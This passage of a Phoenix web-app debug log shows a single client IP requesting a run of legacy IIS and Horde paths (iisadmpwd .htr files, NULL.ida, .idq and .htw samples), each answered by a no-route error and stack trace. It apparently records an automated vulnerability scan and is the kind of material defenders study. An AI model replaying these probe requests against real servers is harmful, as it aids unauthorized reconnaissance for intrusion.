    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:50.928000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35522] GET /horde/imp/status.php3
[Thu Sep  3 08:09:50.949000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35522] ** (Phoenix.Router.NoRouteError) no route found for GET /horde/imp/status.php3 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:00.705000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43552] GET /
[Thu Sep  3 08:10:00.705000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43552] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:10:00.706000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43552] Sent 200 in 1ms
[Thu Sep  3 08:10:01.406000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43552] GET //VM4LzmmV.asp
[Thu Sep  3 08:10:01.427000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43552] ** (Phoenix.Router.NoRouteError) no route found for GET /VM4LzmmV.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:06.787000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55698] GET /NULL.ida
[Thu Sep  3 08:10:06.856000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55698] ** (Phoenix.Router.NoRouteError) no route found for GET /NULL.ida (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:16.460000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46690] GET /iissamples/sdk/asp/docs/codebrws.asp
[Thu Sep  3 08:10:16.476000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46690] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/sdk/asp/docs/codebrws.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:39.983000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35218] GET /iisadmpwd/aexp.htr
[Thu Sep  3 08:10:40.001000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35218] ** (Phoenix.Router.NoRouteError) no route found for GET /iisadmpwd/aexp.htr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:40.743000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35234] GET /iisadmpwd/aexp2.htr
[Thu Sep  3 08:10:40.762000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35234] ** (Phoenix.Router.NoRouteError) no route found for GET /iisadmpwd/aexp2.htr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:41.455000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35240] GET /iisadmpwd/aexp2b.htr
[Thu Sep  3 08:10:41.477000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35240] ** (Phoenix.Router.NoRouteError) no route found for GET /iisadmpwd/aexp2b.htr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:42.116000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35250] GET /iisadmpwd/aexp3.htr
[Thu Sep  3 08:10:42.130000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35250] ** (Phoenix.Router.NoRouteError) no route found for GET /iisadmpwd/aexp3.htr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:42.814000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35260] GET /iisadmpwd/aexp4.htr
[Thu Sep  3 08:10:42.842000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35260] ** (Phoenix.Router.NoRouteError) no route found for GET /iisadmpwd/aexp4.htr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:43.363000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54508] GET /iissamples/issamples/fastq.idq
[Thu Sep  3 08:10:43.385000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54508] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/issamples/fastq.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:43.518000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54516] GET /iisadmpwd/aexp4b.htr
[Thu Sep  3 08:10:43.536000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54516] ** (Phoenix.Router.NoRouteError) no route found for GET /iisadmpwd/aexp4b.htr (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:43.997000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54518] GET /iissamples/issamples/query.idq
[Thu Sep  3 08:10:44.015000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54518] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/issamples/query.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:44.837000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54532] GET /iissamples/exair/search/search.idq
[Thu Sep  3 08:10:44.861000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54532] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/exair/search/search.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:45.589000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54548] GET /iissamples/exair/search/query.idq
[Thu Sep  3 08:10:45.610000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54548] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/exair/search/query.idq (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:46.247000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54558] GET /iissamples/issamples/oop/qsumrhit.htw
[Thu Sep  3 08:10:46.262000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54558] ** (Phoenix.Router.NoRouteError) no route found for GET /iissamples/issamples/oop/qsumrhit.htw (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:10:46.891000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54574] GET /iissamples/issamples/oop/qfullhit.htw
